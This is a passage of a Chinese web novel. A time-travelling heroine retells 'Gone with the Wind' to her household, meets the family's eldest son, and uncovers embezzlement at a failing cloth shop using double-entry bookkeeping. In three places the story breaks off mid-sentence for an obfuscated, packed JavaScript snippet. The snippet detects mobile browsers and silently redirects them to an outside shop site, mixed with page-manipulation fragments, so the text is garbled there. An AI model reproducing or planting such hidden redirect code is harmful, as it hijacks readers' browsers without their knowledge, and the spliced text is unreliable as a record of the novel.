木澜被噎住一瞬,她听得出溪风语气里的调侃,自己不是神仙。虽不知溪风为何还愿意留下她,但她不愿明着质问,木澜也就坡下驴,不再多言此事。 这本也解释不清。 荆门关,自己穿越过来的地方叫荆门关。 木澜在现代并没有听说过荆门这个地方,于是她问:“我当时是什么状况?身边可有什么东西凭证?” 溪风摇摇头,回忆道:“方圆百里,就你一人倒在尘土里,别的就什么也没有了。” 木澜叹口气,这根本无从查起。 如今荆门封锁,平头百姓不得进出,溪风那日也是有了官府的文书,才得以前去。 等日后有机会了,她一定亲自去荆门看看。 现在的首要目的,先把那一屁股债还了。 还有这个莫名出现的青鸟,木澜往内室暼一眼,他的伤口虽多,但并没有刑讯的痕迹,右腿用竹板固定住,大剌剌伸着,人已经睡着了。 她得看着他,不让他靠近溪风。 …… 连日下雨,不便外出,雨水混着潮气有些冷嗖嗖的。 院子里转一圈,木澜的衣裙沾湿,不如去找溪风蹭点火炉子。 甫一进门,就看见溪风正伏在岸边抄写账目,含笑在旁边陪着,低着个头看得认真。 她想含笑什么时候对这些东西感兴趣了? 凑过去一看,居然抱着册话本子看得如痴如醉呢!连一个人站在她后面都没发现,见她如此着迷,木澜也伸着脖子瞧了瞧。 这一瞧可要了她老命了,恨不得自戳双目,哀哉痛呼道:“我的眼睛死了!” 含笑被木澜吓的话本子都飞了出去,瞪她一眼,跑飞快去捡册子。 溪风抬起头,温声询问:“这是怎么了?” 含笑气冲冲道:“都怪木澜!我看书正着迷呢,她躲身后吓我!” 木澜给自己倒了杯茶,才顺过气。听闻此话,差点一口水喷出来,她瞪大眼睛:“你看的什么?那东西也叫书?” 含笑不服气,“怎么不算了,这叫千里姻缘一线牵,兜兜转转还是你。” 木澜大惊,抢过含笑手里的话本子,递给溪风,叫她来评理。 “这叫千里姻缘一线牵?这分明是谋财害命、见利忘义、薄情寡恩、爱慕虚荣的杀人犯!” 木澜一口气全吐出来,总算能喘匀了。 溪风翻了翻,也皱起眉头。 这其实真不是木澜夸张,含笑的话本子讲的是一个书生父母双亡,被好心的贫女帮助,书生却嫌弃贫女出身微贱配不上自己,将其推入河水之中。幸得贫女命大,被当朝相国救起,相国无儿无女,便收了她做女儿。后来书生高中状元,得相国青眼,将姑娘许配于他,新婚之夜却发现新人还是旧人。 让木澜生气的正是故事的结局,二人相认后,姑娘本欲报官,却在这书生的一番“忏悔”后原谅了他,二人和好如初,甚至恩爱非常! 这故事恰似她曾看过的《张协状元》和《金玉奴》,甚至是集二者之糟粕,简直没拿女子当人! 姑娘死里逃生,还要继续和杀人凶手共度余生;书生却一生荣华富贵,还有娇妻在怀。 这简直就是恐怖片! 溪风道:“这写得太违人性了,书生既然能狠下杀手,谁又敢赌他竟转了性,会和和美美过起日子?” 木澜狂点头,道:“正是这个道理!” 眼见含笑要反驳,木澜道:“如果你发现你的新婚丈夫竟是曾经杀你的人,你敢和他过下去么?还是你会赌他不会再来一次了?请正面回答!” 只要不是傻子自然都不敢了,木澜以为终于获得压倒性的胜利,含笑却眉毛一撇道:“这也是没办法的事,女子得从一而终,姑娘既已嫁了就得认命。只能祈求书生是真的悔改了。” 话到此处,含笑都有些提不起精神。 木澜知道含笑并不是傻,她只是被禁锢住了,遂道:“为什么要认命?人生有很多种可能,大好年华,总不至于无路可走。你当下要做的,就是不要看这些烂本子!” 含笑道:“那我看什么?” 木澜道:“看些把人当人的。” 含笑摇摇头:“市面上都是这些。什么是把人当人的?” 木澜愣了愣,又看向溪风,她也微微点头,确认了含笑的话。 世面上的话本子基本都是考不上功名的穷酸秀才写的,这些人自然是自己喜欢什么便写什么。久而久之,反倒成了流行。这个时代读过书的女子实在少之又少,贵族小姐的学识又不能外传,还真成了劣币驱逐良币。 木澜近些日子一直在照看青鸟,他伤口感染发了高烧,本着自己踩他一脚的缘故,她也该把人治好。 不想竟丢了说书人这个老本行,想了会儿道:“要不我给你们讲个故事吧。” 木澜上中学时,学校组织过一次免费的话剧观赏,当时她跟着看热闹,台上人洪亮的声音,激昂的神情,都很吸引她。 看得目不转睛时,台上的演员猛然冲下来,塞给她一份大字报,急切道:“速速传阅!” 本只是一次普普通通的台下互动,木澜却着了迷,从此一发不可收拾。零花钱全供给了戏剧不说,大学也加入了话剧社,还为此写过一个本子。 奈何她的条件都不够专业,社长在听说了她的工科专业后,只让其从事后台升降机工作,还批判她写得一塌糊涂,木澜大怒,和社长当场吵起来,舞台倒塌之时,木澜一把将社长推开了。 然后她便穿了来。 真是冤孽! 木澜摇摇头,不再追忆过去,清清嗓子娓娓道来: “话说从前有一座小镇,镇子上有一户姓郝的富贵人家,郝家有一个闻名镇里的小姐,貌美又聪慧,是十里八乡郎君们心中的窈窕淑女。可这位郝小姐已经心有所属,她呀一心恋慕一位姓艾的公子。在一次游园会上,郝小姐装扮的美丽异常,如同众星捧月,她本打算向艾公子表明心意,却听闻艾公子亲口说只拿她当妹子,并且已经同郝小姐的闺中密友梅小姐定了亲事。” 这样一出三角恋登场,果然吸引了屋子里众人的目光,连搬花的丫头都停下了步子。 越是迷离纠葛的情感,越是听得人心痒难耐,这一点,古今中外都是如此。 心里暗道感谢译林版翻译的《飘》,不然木澜还真不好讲这个故事。 奈何还是有一些古今文化差异,她只得模糊了时代背景,重点往人物感情纠葛上靠,但还是有些让人难以接受。 比如木澜才提到郝小姐为了家庭,与妹妹的未婚夫成婚,含笑便叫了停。 “这太荒谬了,这郝小姐做了这么多荒唐事,怎么还能强抢妹妹的未婚夫婿呢,实在是不知羞耻伦理,莫要污了小姐的耳朵。” 含笑一边说,一边真的伸手去捂溪风的耳朵。 回头斥道:“木澜,你从哪儿看的这些混账本子?” “天上看的。”木澜张口就来。 “又说这些疯话了。” 木澜也知道讲这些,在保守的古代不亚于裸奔。遂道:“还听吗?不听就不讲了。” 她和含笑齐刷刷朝溪风看去,溪风想了一下,道:“我倒是觉得这个故事不错,和往日里看的戏剧话本都不一样,这位郝小姐虽是有些离经叛道,但称得上是勇敢坚毅,所做之事也并非全无逻辑,若女子都能这般活法未尝不是一件好事。木澜,你接着讲吧。” 含笑虽总是不待见木澜,但对溪风还是言听计从的。 木澜又继续循着记忆里的顺序往下说,讲到白老爷的出现,梅小姐的死,最后郝小姐的女儿也坠马而死,白老爷的离开。 结尾也如同原文一样,给出一个充满希望的留白。 含笑也从一开始的不解,彻底融入到故事里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730549|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她听的很是动容,从郝小姐的女儿死去后便一直落泪,意犹未尽般开口:“最后郝小姐去找白老爷了吗?起先还觉得白老爷轻佻,不堪为良配。现在看来,只有他是真心爱着郝小姐,世间有哪个男子能忍受妻子的三心二意呢。” 木澜心道含笑还真是封建思想的守门员,但也没什么好责怪的,毕竟她从小就在这样的环境下长大。 抬眸看向溪风,她也有些神游在外,不知是否在回味,木澜出声唤她:“小风,你觉得呢?” 溪风素手执起团扇,轻摇两下,嫣然一笑。 “这个故事听下来,我倒是觉得最打动我的不是白老爷,而是郝小姐与梅小姐的情谊。二人皆是至情至性之人,性情不同也能相互依靠,可见女子间的情谊同样珍贵。” 含笑不赞同道:“可是白老爷是郝小姐的夫婿,二人乃是全天下最亲近之人,理应白老爷情谊更深重些。” 木澜道:“夫妻便一定情深义重吗?多少盲婚哑嫁,连对方长什么模样都没见过,能有什么深厚的情谊?” “父母之命,媒妁之言,自古有之!” 含笑气得和木澜争执起来,又见她一副无动于衷的样子,恼怒得不行。 “小姐,你看她……” “好了,好了。”溪风只得出来打圆场,却是不顾及含笑说的,话锋一转,“不过我觉得木澜说的对些,说起感情,我倒是认为最信任郝小姐的不是白老爷,而是她的好友梅小姐。” 听到溪风站在她这边,木澜也笑起来,夸赞道:“说起来我们和故事里的人其实有些相像呢,在我眼里,小风就和梅小姐一般温柔善良。” 溪风听着,露出淡淡的笑意。 含笑在旁边呸了一嘴,道:“梅小姐虽好,到底早逝,小姐才不要像她。依我看,木澜倒是像极了那不守规矩的郝小姐。” 木澜听了这话也没什么恼的,郝思嘉敢爱敢恨有什么不好?若是有她的勇气什么事做不成。 不过嘴上不认输,回敬含笑:“那你呢?莫不是那会穿衣梳妆的黑妈妈?” 含笑气得来追她,一边跑一边骂:“你今天闲得慌,非要来讨打是不是。” “还不是下了大雨,不然大好的春光,我才不在屋子里闷着呢!” 木澜见她真生了气,忙往外面躲。 穿过幽长的走廊,蜻蜓惊动,院里的芭蕉青翠欲滴,沾雨的初开百合仿若泣泪,一下一下点着头。 两人就这样打闹着,木澜眼看着含笑要追过来,一手拉开门,便看见门外一片齐齐整整撑开的油纸伞,院子里青濛濛的,远处雾气茫茫,像镀了一层迷离的光晕,地上堆满货箱,上面铺着防潮的草席。 为首的那人披着一身蓑衣,衣摆处的雨水顺着棕毛缕一串串地往下淌,清脆地滴落在青石板上。 估计是听见了木澜刚刚的牢骚话,他回身,抬手摘下斗笠,露出清俊的脸庞,带着满身潮气,笑意浅淡柔和。 “雨停了,应该会是个晴天。” 果然,雨已经停驻,只有屋檐上的青瓦片还悬着几点欲落不坠的雨珠。满园林木水洗过后,显现出更加昂扬的生命朝气,天光大盛,一切明亮而洁净。 他瞧着木澜呆愣愣的,又问了一句: “你是新来的吗?好像从前从未见过。” 木澜好像点了头,又好像没有。 来不及,因为他说完这句就直接离开了。 她怔怔地站在原地,一动不动看着他的背影。含笑从身后走出来,木澜头都没转,问她:“那是谁?” 含笑瞅了一眼,欣喜道:“当然是大公子啊。没想到大公子此去鄞州这么快就回来了。” 木澜又问:“大公子叫什么名字?” “林惊风。” 含笑早就习惯了木澜的没规矩,于是嘱咐道:“其他人可不像小姐那么惯着你,可别再胡乱直呼公子们的名讳。” “林惊风,真是个好听的名字。”木澜喃喃。 林家的孩子都有一副好皮囊,他和溪风生得格外相像。 一样的眉蹙春山,眼颦秋水。 5. 走马上任 林大公子回来了。 最高兴的莫过于阿贵,他可以跟在身边,不用再充当马夫。 最难过的么,当然是松风。 松风是林家最小的公子,今年十五,比青鸟还小一岁。因着他大哥回来,破天荒不用去学堂。 不过他看着并不是很开心,畏畏缩缩站在一旁,手都没地方放。 含笑端来一盏茶,他顺势接过,殷勤地递给林惊风。 林惊风不接,手里拿着账本,道:“我从小走南闯北惯了,倒是比不上你们成日在府中清闲。” 木澜缩了缩,这话应该是说溪风没有把布庄的事解决好,还把她和青鸟两个不明身份的人捡回来。 他虽不干涉溪风的决策,但该敲打的还是要敲打两句。 溪风垂着头,并不辩解:“是我过失。” 溪风从昨日起就很为这件事忐忑,木澜不懂她的压力,只安慰道:“小风,这只是一件很小的事情。” 松风却道:“二姐姐掌管府里中馈,也很是辛苦。” “是吗?倒是你,松风,你也大了,家中事务不用你操心,也该想想日后干什么才好。”林惊风放下账本。 松风欲要再说,林惊风抬起眼:“课业如何了?夫子教的可都会?何时去应考?” 这灵魂三问一出,松风彻底耷着头,一声不吭了。别说松风害怕,便是旁边站着的木澜都听得直吸凉气。 这人年龄不大,说话做事却甚为老派。 无人说话,林惊风才道:“那布庄掌柜赌钱,跟胡商逃去大漠了,我已经派人通告官府,颁发海捕文书贴在城门关隘,短时间他大概不敢回来。事已至此,及时止损才是道理,应该早日物色提拔一位新掌柜。” 溪风应下,又道:“一直找不到合用的人选。况且布庄经营不善,常年亏损,依我看不如直接停掉。” 林惊风想了想,有些犹豫:“那里居于闹市,地段不错,我可以从灵州调拨来几个人,只是得一个月之后了,要不再等等……” 话到此处,木澜脑子里响起了那个著名的脑筋急转弯—— “狗会汪汪,猫会喵喵,鸭会嘎嘎,鸡会什么?” 鸡会(机会)留给有准备的人! 她当即举手,毛遂自荐道:“且让我一试!” 不然按照现在的薪资水准,一个月二两银子,还完债尚需四个月,还怎么做大做强? 不如放手一搏! 木澜虽没有经验,但她没吃过猪肉,也见过猪跑。她母亲经商,大学室友也是个汉服控,两者融会贯通一下,应该也不会太难。 再差也不会比现在更差了吧。 林惊风手里的茶盏放下,诧异地打量木澜一眼,“这位姑娘是?” 溪风走上前介绍道:“她是木澜。” 又转头小声劝诫木澜道:“那布庄已经亏损许久了,要想再次经营起来,很不容易。” 木澜听出她话里的担忧,笑得不甚在意,信心满满道:“相信我,让我试一试吧,万一我就是那个能让它起死回生的人呢?” 这明晃晃的笑意扑面而来,溪风不由得一怔,思索片刻,不再反对。 只是溪风这关好过,林惊风那儿却难。他道:“木澜……姑娘,做掌柜可不是简单的事。我想请问,你有过管理商铺的经验吗?” 木澜摇摇头,坦诚道:“没有。” 林惊风又问:“或者你曾从事过织女、缝人?” 木澜还是摇头:“也没有。” 林惊风继续道:“你会看账目吗?” 木澜会复式记账法,但不知道这个世界有没有。况且她最大的问题是很多字看不懂,只能结合上下文半猜半蒙。学海中徜徉十数载,一朝穿成个文盲。可惜,可叹。只能摇头:“都没有。” 林惊风笑了,直言道:“那么我为什么要把铺子交给你呢?或者说,我该如何相信你呢?木澜。” 木澜也觉得这个要求有点唐突,林惊风的担忧不无道理,她想了想说:“反正这个布庄目前舍不得关掉,不如就给我一个月的时间试上一试。若继续亏损,便记我账上;若是盈利,皆大欢喜。身为东家你们始终不亏就是了。” 溪风劝道:“你想清楚,要是失败了,你得赔上一辈子。” 木澜眨眨眼睛,就坡下驴道:“那就赔上一辈子好了,我乐意在你身边陪着。” 溪风无奈笑笑,林惊风思索会儿,反正他的人从灵州交接完过来,还有一个月的空档,现在人手不够,有人主动请缨总比空着强。 遂出声道:“现在无人可用,旁的我也不多说,只是尚未盈利,我是不会提前开付酬劳的。” “我正想说这个,”木澜知道他对自己没信心,直言道,“我不要工钱,我要分红。” 林惊风诧异了,“分红?口气不小。你可想过若是失败,你什么都拿不到。” 木澜笑道:“那是不是换句话说,我也可能什么都拿到。” 林惊风还是头一次见到一个姑娘如此自信,他仔细打量着木澜,一身普通的丫鬟衣裙,发式简单到了有些奇怪的地步,人却是笑着的,第一眼能被人注意到的,还是独特的气质。她身上似乎有一股从未被欺负过的劲,一种纯粹的、茫然的乐观。 林惊风最终应下,不过提出一个条件: 木澜外出经营商铺时,必须做男子装束。 木澜对此并无意见,云州虽不如京城风气保守,但女子在外面主事还是不多。 再说这里治安也不好,扮作男子,能省去不少危险。 识时务者为俊杰这句话木澜还是晓得的。 自从接下了这个担子,木澜一门心思地忙碌起来,她先是在调研云州的风土人情,又了解当朝服装特色,不认识的字就去请教溪风。 溪风倒是很愿意教她,被缠着也不烦躁,只笑着说:“小神仙也不认识字吗?你白日毛遂自荐的机灵劲儿去哪儿了?” 木澜被打趣的无地自容,只能讨饶道:“好小风,日后我赚了钱,先还你的债,再请你吃饭听曲好么?” 第二日,木澜一大早就起来了,有了事做,一整天都精神抖擞的。 听了林惊风的提醒,换上男装,弄粗犷些,只是她身量不高,看着像是个半大少年。 她很满意自己的新造型,张牙舞爪的,逢人便问像不像,含笑不厌其烦,只得说跟男人一模一样。 青鸟却不以为然,他直言:“不好看,怎么把自己收拾成这样?” 青鸟身上的伤都好得差不多了,腿上依旧带着竹板,一瘸一拐地出来凑热闹。 这段日子木澜借着照顾的名头,没少暗地里威胁恐吓他,现在两人虽熟了很多,却是虚与委蛇。 木澜忍了脾气,耐心跟他讲不好抛头露面的道理,换做男子扮束会少去很多麻烦。 青鸟头一扭,道:“很丑。想穿什么就穿什么呗。” 木澜不理他,一打折扇,掩面笑着对其他人说:“我现在是不是很有一个掌柜的派头。” 溪风和含笑都笑着,就连从廊下经过的林惊风听到动静,也慢下脚步。 青鸟这厮完全不讲风情,道:“天又不热,你拿把扇子做什么?” 木澜收拢折扇,避开伤处,一下敲在他的肩膀,道:“这样比较符合我现在的身份。” 这样么,青鸟明白了,抄起一旁的算盘递给她:“貌似这个更适配些。” 木澜折扇一挡,婉拒道:“这样会显得我很贪财。” “你不爱财么?”青鸟反问。 “那倒也是。”木澜想想也对,坦然收下。心中暗自记住给青鸟的药里多加两颗黄连。 抬头打量青鸟,他长了些肉,一张漂亮的异族面孔在晨曦里熠熠生辉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730550|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木澜下意识皱了皱眉,“你来干什么?” “我让他来的。” 溪风从廊下转出来,先对着林惊风行李,方才过来。 她道:“你一个人在外面我不放心。” 木澜的视线停在青鸟的伤腿上,很是怀疑。 青鸟:“……还不是你踩的!” 这倒也是,木澜收回眼,“不是治好了吗?再说了,我是为了救你才不小心踩伤你的。” 一说起这个,青鸟更气,硬邦邦道:“不要你救!” “那你倒在路边拦马车做甚?” “……” “好了!”溪风忍无可忍出声打断,“你们两个,一见面就吵个没完。是我错了,让他留在府里行了吧!” 木澜颇为得意地挑眉,但转头想到若是他留在府里,没自己看着,二人暗生情愫怎么办? 她绝对不允许这种恶俗戏码的发生。 想明白这些,木澜微笑:“我突然觉得,青鸟陪着也还不错。” 又看向青鸟:“你觉得呢?” 青鸟诡异地看着木澜前后变脸,直觉告诉他不是好事。 木澜使了个眼色:“嗯?” 青鸟:“……好吧。” 阿贵听他们闹,也参与进来,轻笑道:“木澜,你可别太轻狂,当心和前掌柜一样,欠一屁股债跑大漠去!” 这一举动引得林惊风往院子里多看一眼。 众人都笑了。木澜心知现在争辩没什么用,一打扇子,摇头晃脑道:“我本清都山水郎,天教分付与疏狂。等着看我改天换地吧!” 木澜带着一瘸一拐的青鸟去了铺子。 路上她便注意到布庄的位置极好,算是云州城最繁华的地段,南来北往走街串巷都得经过这儿,称得上是得天独厚。 怪不得林惊风不舍得闭店。 只是一推开门,店里冷清的不像样子。 木澜刚走马上任,店里伙计还不认识她,只当她是新来的客人。 就算是客人,也并不热情,转了一圈,一个年轻伙计才上来介绍,其他几个年龄大点的都跟屁股生根了似的,陷在凳子里,拔不出来。 店内货物摆放也成问题,入目就是几匹极其艳丽老旧的绫罗,像是几辈子也卖不出去的货,古董似的成了招牌,让人没有看下去的欲望。 有钱的看不上,没钱的被门槛劝退。 木澜往楼上打量,几个绣娘正在赶工,工艺瞧着都很精致,但花样俗气,旁边的缝人没事干,就着针线台看起了书。 木澜扶额叹息,这哪里是像经营店铺的样子。 伙计跟了她一路,见她只逛不买,也不生气,依旧好脾气地问道;“两位公子要找什么呢?” 一看就是个新人。青鸟正欲说话,木澜抬手阻止,想起在账本上看到的缂丝,道:“劳驾,请帮我找一匹鄞州进来的缂丝罗,要青绿色的。” 伙计听了话,忙跑去翻找起来,只是等了一会儿,人还没回来,木澜让青鸟坐着,自己绕到后台,伙计正在询问账台边的一中年人。 中年人约莫是管事的,很会拿乔,头都没抬道:“缂丝罗啊,我记得今年进货少。阿竹,你去帐子后左边找找吧。” 那个叫阿竹的伙计牵强笑道:“刚刚找过了,右边也看过了,都没有。烦请方先生再仔细回想些,是不是放错地方了?” 方先生冷笑一声,终于抬头,一副过来人的语气:“阿竹啊,我让你找呢,东西就肯定是在的,你找不着这是你的问题呀。总不会长腿自己跑走了,还是说你觉得我会出纰漏,故意在消遣你?” 阿竹苦笑道:“不敢,不敢,不是这个意思。我再去找……再去找找好了。” 木澜看得一股无名火,明明一句话就能说清楚的事,非要折腾人。 这不就像是老板不在,见人下菜碟欺负员工的□□理么! 6. 杀鸡儆猴 木澜当即站出来,“他问什么你答什么就是了,何苦这样搓磨人呢?” 方先生闻声看过来,从上到下扫过一眼,见木澜衣衫寻常,从鼻子里喷一口气,道:“阁下是谁?我管教我自己的员工与阁下何干?再说这里是库房,客人不请自来不合适吧。” 阿竹也走过来,面带歉意道:“公子,请去前厅等候吧。” “确实不合适,”木澜折扇一摇,把人隔开,“可惜我不是客人。” 方先生皱眉:“那你是谁?” 木澜咳嗽一声,青鸟认命从袖袍里掏出一张聘任契书,她笑吟吟道:“不才正是这间铺子的新掌柜。” 阿竹闻言立刻恭谨起来,方先生比较谨慎,凑过来仔细端详契书,东家那栏上赫然盖着林家的家印,保人则上书一道簪花小楷——林令闻。 旁人不知道这林令闻是谁,方先生作为商铺的老人不可能不知道内情,正是林二小姐的字,因着小姐名讳不便透漏,在外她都是用自己的字。 再次抬头打量木澜,面上谦卑了许多,能拉林二小姐做保人,这人必定不简单。 方先生挤开阿竹,笑道:“怪我有眼不识泰山,竟不知道新掌柜大驾光临,敝店蓬荜生辉!” 好一招本末倒置。这话好似他是主人,掌柜是客。 几个屁股生根的伙计也舍得站起来,有一搭没一搭地欢迎着。 木澜皮笑肉不笑:“哪里,哪里。何故前倨后恭?若是打了招呼再来,岂不是错过先生变脸的绝技了么。” 众人脸色当即变了。 木澜要的就是这个效果。只听说过新官上任三把火,哪有下属给新官下马威的道理。她要是被杀了威风,以后如何管事? 昨日她已经调查了这些人的底细,说起来还要怪那个赌钱跑路的前辈了。 前辈早些年也是兢兢业业的,后来染上赌瘾,店里经营不善不说,还是个爱拉帮结派的。自从当上掌柜,就开始往店里塞人,只要是跟自己八杆子打得着关系的,不管有无才干,统统塞进来吃空饷,可谓是一人得道,鸡犬升天的典型代表。 但显然,这种安排是要出大问题的。活全压在几个人身上,能者过劳,庸者清闲。有才能的人不受着,直接走人。前辈反而开心,又空出一个位子,可以继续塞人了。 所以此时店里的牛鬼蛇神,大多都是那位前辈的遗老遗少。 木澜深恨前人造孽,素未谋面,还给自己留这么多遗产! 她来之前觉得可能有夸张的地方,来后发现其实是有过之无不及,已经烂透了。 对于这种破铜烂铁组成的乌合之众,木澜知道最好的办法是把他们全换了,但此时,木澜也碰上林惊风的窘境。 即无人可用。 她只有一个月的时间,把人全换了,且不说招不招得到新人,肯定不熟悉业务。 只能杀鸡儆猴,逐个击破了。 所谓枪打出头鸟,抓人抓典型。鉴于这位方先生完美符合这两点,就决定让你来当那只肥鸡了! 木澜行至账台,抽起一本账簿,翻了翻,道:“方先生是账房先生出身,想必对记账很有心得吧?” 方先生琢磨不透她的意思,但记账是他的强项,昂头道:“当然。” 木澜掂了掂账本,咬字很重:“你有没有什么要对我说的?” 方先生面色微滞,又若无其事地笑开:“新掌柜上任,查账是大事。方某的忠心可是一字不漏写进了账簿里,就怕斗大的字,您看不见呐。” 这个时代读过书的少之又少,认字的也不多,更遑论记账查账。木澜年纪过轻,难免遭遇轻视。 她没再多费口舌,而是重新拿一张白纸,捻起桌上的一根细毫,开始验算。 账簿如木澜所猜测的一样,是单式记账法,只记录收付,一笔一笔清查起来很麻烦。 木澜重新清理各项开支,罗列增减两项,用现有剩银反推查账。 一炷香后,木澜从账台起身,迎着面色各异的众人,道:“上月本店收支记录都很仔细,如实上报东家六成,各项开支明码实价很是严谨。方先生辛苦了。” 方先生闻言好似心中石头落了地,周围人都盯着,勉强笑道:“应该的,应该的。” 木澜也笑了,抽起桌上墨渍未干的纸,吹了一口,话锋一转道:“不过你能给我们解释一下,为何我罗列出各项成本损耗,依然有至少五十两银子不见踪影吗?” 方先生面色煞白,猛然站起,没想到被木澜查了出来。 木澜缓步走下来,慢条斯理道:“那五十两去哪儿了,还是你做了空账?” 阿竹一脸震惊,其他几个和方先生坐在一起的伙计更震惊,立马让开,那谴责的眼神仿佛在质问他:居然背着我们捞钱? 方先生此刻只能强装镇定,横竖不承认:“你……你在说什么!我哪有,你有什么证据?” 木澜扬扬手里的纸,道:“证据一清二楚,你只消说这个数字对与不对吧。或者,要我一笔一笔念给你听么?” 伙计怕引火烧身,赶紧离远了。 方先生更为恼怒:“胡言乱语,是不是对我有什么不满?对,你就是对我心存不满!” 自古以来,人事辞退就是门技术活,弄不好就成了夹带私货,心存怨恨。木澜确实有辞退方先生的动机,但她绝不会如此不讲道理,得切实找出问题。 木澜懒得跟他辩,道:“方先生为布庄鞠躬尽瘁多年,我一介新人上任,贸然辞退确实不妥。” 众人见她态度又软下来,正不明所以,方先生也生出些侥幸之心,以为她初来乍到,怕得罪人。 木澜却道:“阿竹,去请东家定夺。” 木澜才不会当这个恶人。 林惊风掀帘而入时,看到的正是这样一派景象:木澜独坐账台,方先生和余下众人皆面露不安。 阿竹端茶过来,喊了一声:“东家请。” 又快步到木澜身边,耳语道:“来时我便跟东家讲过一遍了。” 木澜赞许地看他一眼,她本以为林惊风会让人传话了事,没想到他亲自过来,身后还跟着阿贵。 众人起身行礼,木澜道:“劳东家走一趟,这位是方先生,请东家决断。” 林惊风抬眼看向方先生,“你怎么说?” 方先生面色灰白,哀哀道了一声:“……东家。” 那账簿上的问题白纸黑字,想赖也赖不掉,承认与否也只不过再拖延一点时间罢了。 想到这些,方先生又转变策略,急切道:“是我一时糊涂,我财迷心窍。东家,请再给我一次机会吧,我家里还有—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730551|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林惊风骤然打断:“不关我的事。” 又道:“你犯错的时候,怎么不想想你的家人?” 方先生哆嗦了下嘴唇,不再多言。 林惊风对此并未施舍一个眼神,而是径直走向木澜,询问道:“我想知道你是怎么在这么快的时间查清楚账簿的?” 木澜愣了一下,下意识把手里的纸递出去。 林惊风接过,却看得皱眉。 木澜面色也凝重起来,凑上去,才反应过来自己图方便,用的是阿拉伯数字,而非繁体字,不怪他看不懂。 于是用手指着,解释道:“是记账方式不一样,我把它们重新排列一遍,单独设置增方和减方,会更清晰明了。” 林惊风也取出一张空白纸,按照木澜的方式计算起来。 他是商人出身,学起来很快,木澜只需稍作讲解,他便能融会贯通。 一张纸写满,林惊风方才抬头,惊叹道:“确实是个好办法。” 木澜笑了笑,小声对他说:“我说过信我吧。” 林惊风也笑了,他问:“这办法你从哪学到的?” 那是很遥远的记忆了,小时候木澜家里的医馆忙时,她就帮着记账,用的就是单式,后来账目出问题不好查,木澜的母亲就教她用复式。 没想到也会有用上的一天。 木澜面上依然笑着:“家里人教的。” 林惊风看着她这张笑脸,忍不住问道:“阿贵不是说你没有家人么?” 死阿贵,怎么什么都往外说! 木澜用脚想也知道,一定是含笑告诉阿贵,阿贵再告诉面前的人。 “大公子说笑了,人怎么可能没有自己的家人。”木澜随口道。 反正她已经证明自己的价值,林惊风应该不会为难她。 果然,林惊风只当她又在胡说八道。话锋一转,指着她先前写下的数字,问道:“这是什么?” 木澜睁着眼睛乱说:“鬼画符。” 林惊风措不及防被噎住一瞬,随后咳嗽了几声,阿贵忙递茶水,他却抬手避开,喘匀气,笑道:“我总算知道溪风为什么要把你留下了。” 木澜倒是来了兴趣,问道:“为什么?” 林惊风摆摆手,不愿再说。 离开时,顺带把一脸死相的方先生也拖走了。 店内其余人看得惊心动魄,人人自危,唯恐下一个就是自己。 木澜眼看目的达到,高声道:“诸位可看清了,胆敢以公谋私,为难下属,方先生就是下场。” 有几个伙计的脸都白了,木澜看在眼里,缓了语气:“我也知道像方先生这类只是个例,大家不用害怕,相信各位在接下来的日子里,一定能各司其职,共同为了布庄努力奋斗。” 底下声音稀稀拉拉地应着,木澜侧侧耳朵,“听不见。” “……是!” 这下终于有点精气神了。 见众人对她有了基本的敬意,木澜开始下一步打算。 账房先生被自己辞了,短时间自己可以先替着,但终归不是长久之计。 须得提拔个信得过的左膀右臂。 木澜左右看了看,阿竹身处打压之中,依然做事利落不抱怨,对事业的热情可见一斑。 就决定是你了! 7. 初战不利 本来是想找青鸟的,毕竟他们虽然互相看对方不顺眼,但毕竟相熟。 奈何青鸟不识字,浑身上下透着一股文盲般的质朴。 木澜是假文盲,这位是真文盲,教了一炷香差点把木澜气死! 关键他还很不耐烦,木澜一骂,他就撂挑子。 “那你来干什么?” 青鸟窘迫道:“含笑说给我喝的药值一百两银子,让我还完钱才能离开。” 比她欠得还多,木澜忍不住笑出声。 笑够了,又问他:“你会什么?” 青鸟在账台扫一眼,随手拿起把剪刀,指间快速翻转,剪刃顺着手背滑行,白光一闪,又一个逆势回绕,快得根本看不清,已经利落收回掌心。 他把剪刀递过去,下巴微抬。 “在这里要挣钱,得用这个。” 木澜面无表情拿开剪刀,重新塞给他一枚绣花针。 青鸟盯着掌心里细小的针:“这个怎么用?” 木澜指了指旁边的绣娘,“自己去请教。” 青鸟忙过去拜师,一个绣娘却道:“不行,你是男子,怎么能学绣花呢?” 青鸟当即大怒:“谁说男子比不得女子?只要你肯教,假以时日,我必成大器。” 